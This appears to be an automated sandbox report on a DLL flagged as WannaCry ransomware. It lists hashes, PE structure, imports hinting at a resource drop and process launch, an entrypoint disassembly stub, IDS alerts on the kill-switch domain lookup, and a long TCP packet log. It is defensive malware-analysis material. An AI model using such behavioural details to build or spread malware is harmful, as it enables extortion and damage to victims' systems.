Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.418303500010501
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4Maoj78D1f.dll
File size:	5267459
MD5:	53430da3560a8d1bbc2f0c2d1da297c8
SHA1:	24ca115dce63513fb0bfe1805ec002d09b006265
SHA256:	744fd73d05e9485fe66856a905593657fc0ac28ccd8ea9d34fe84d0623f8e1dc
SHA512:	19feb61dbcc31796dc65c36b1b20826dbb5072ab60e3b7130b9197e6005689440ff7eaf761168875ec538fc1c8f7e5a59e91dfaec3799a56221a0ae0914fba87
SSDEEP:	98304:afPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2H:afPe1Cxcxk3ZAEUadzR8yc4H
TLSH:	AD3633D4626C62FCF1440EF444778A1AB7B73C6D66FA4E1F97C086660D43B9BABC0A41
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F6C3CC29CFBh
cmp dword ptr [10003140h], 00000000h
jmp 00007F6C3CC29D18h
cmp esi, 01h
je 00007F6C3CC29CF7h
cmp esi, 02h
jne 00007F6C3CC29D14h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F6C3CC29CFBh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F6C3CC29CFEh
push edi
push esi
push ebx
call 00007F6C3CC29C0Ah
test eax, eax
jne 00007F6C3CC29CF6h
xor eax, eax
jmp 00007F6C3CC29D40h
push edi
push esi
push ebx
call 00007F6C3CC29ABCh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F6C3CC29CFEh
test eax, eax
jne 00007F6C3CC29D29h
push edi
push eax
push ebx
call 00007F6C3CC29BE6h
test esi, esi
je 00007F6C3CC29CF7h
cmp esi, 03h
jne 00007F6C3CC29D18h
push edi
push esi
push ebx
call 00007F6C3CC29BD5h
test eax, eax
jne 00007F6C3CC29CF5h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F6C3CC29D03h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F6C3CC29CFAh
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.78.8.8.860996532830018 07/20/22-13:23:44.036888	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	60996	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.858715532830018 07/20/22-13:23:47.833285	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	58715	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.850519532830018 07/20/22-13:23:45.344564	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	50519	53	192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 13:23:32.196363926 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.196413994 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.196527958 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.196597099 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.196633101 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.196697950 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.198987007 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.199013948 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.199209929 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.199242115 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.305452108 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.305576086 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.307769060 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.307899952 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.356127024 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.356158018 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.356470108 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.356573105 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.357580900 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.357605934 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.358239889 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.358325958 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.382538080 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.382540941 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.424501896 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.424550056 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.497467995 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.497600079 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.497839928 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.502557993 CEST	49726	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.502588987 CEST	443	49726	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.559084892 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.559113979 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.559135914 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.559216022 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.559266090 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.559283018 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.559420109 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.588206053 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.588251114 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.588443041 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.588463068 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.588505030 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.588546038 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.588787079 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.588834047 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.589027882 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.589035034 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.589107990 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616415024 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.616553068 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616570950 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.616592884 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.616627932 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616671085 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616703033 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616715908 CEST	443	49725	20.40.136.238	192.168.2.7
Jul 20, 2022 13:23:32.616724014 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:32.616767883 CEST	49725	443	192.168.2.7	20.40.136.238
Jul 20, 2022 13:23:36.967201948 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:36.967369080 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:36.967500925 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:36.979671001 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:36.979721069 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.043667078 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.043745995 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.043859005 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.055927038 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.056046963 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.431628942 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.431675911 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.456448078 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.456495047 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.456619978 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.456634045 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.456881046 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.456948996 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.479939938 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.479975939 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.480056047 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.480060101 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.480102062 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.480110884 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.494818926 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.495001078 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.664913893 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.664969921 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.665097952 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.665118933 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.665555000 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.665666103 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.676594019 CEST	49727	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.676644087 CEST	443	49727	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.690004110 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.690047979 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.690126896 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.690140963 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.690165997 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.690197945 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.714167118 CEST	49728	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.714210987 CEST	443	49728	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.788922071 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.788989067 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.789189100 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.789705038 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.789745092 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.816502094 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.816574097 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.816768885 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.816998959 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.817018986 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.854072094 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.854187965 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.872457981 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.872481108 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.873563051 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.873574972 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.881299019 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.881397963 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.891320944 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.891354084 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.891428947 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.891446114 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.891467094 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.891505003 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.937932968 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.937979937 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.938921928 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.938944101 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.942338943 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.942429066 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.942563057 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.943994045 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.944031000 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.945560932 CEST	49729	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.945605993 CEST	443	49729	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.962631941 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.962681055 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.962734938 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.962770939 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.962786913 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.962794065 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:37.962832928 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.962862968 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.970674992 CEST	49730	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:37.970712900 CEST	443	49730	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.002182961 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.002490044 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.002923965 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.002954006 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.043917894 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.043962002 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.064362049 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.064403057 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.064488888 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.064522982 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.064536095 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.064546108 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.064574957 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.064604044 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.084197998 CEST	49731	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.084244967 CEST	443	49731	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.159887075 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.159944057 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.160089016 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.160912037 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.160938978 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.221225023 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.221473932 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.261538029 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.261580944 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.262368917 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.262387991 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.281279087 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.281328917 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.281435013 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.281450987 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:38.281454086 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.281563044 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.284483910 CEST	49732	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:38.284524918 CEST	443	49732	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.224700928 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.224770069 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.224886894 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.226742029 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.226773977 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.282670021 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.282846928 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.333122969 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.333161116 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.336910009 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.336931944 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.359740973 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.359802961 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.359841108 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.359869957 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.359893084 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.359940052 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.359949112 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.360021114 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.376019955 CEST	49733	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.376080036 CEST	443	49733	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.440738916 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.440804958 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.440917015 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.441678047 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.441734076 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.495361090 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.495491982 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.505383015 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.505409002 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.506395102 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.506413937 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.528374910 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.528419018 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.528548956 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.528593063 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.529340029 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.548398972 CEST	49734	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.548432112 CEST	443	49734	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.594885111 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.594922066 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.595032930 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.595501900 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.595515966 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.649002075 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.650521040 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.669012070 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.669027090 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.670850039 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.670861959 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.682058096 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.682099104 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.682287931 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.685339928 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.685374022 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.692960978 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.693015099 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.693047047 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.693059921 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.693075895 CEST	49735	443	192.168.2.7	23.211.6.115
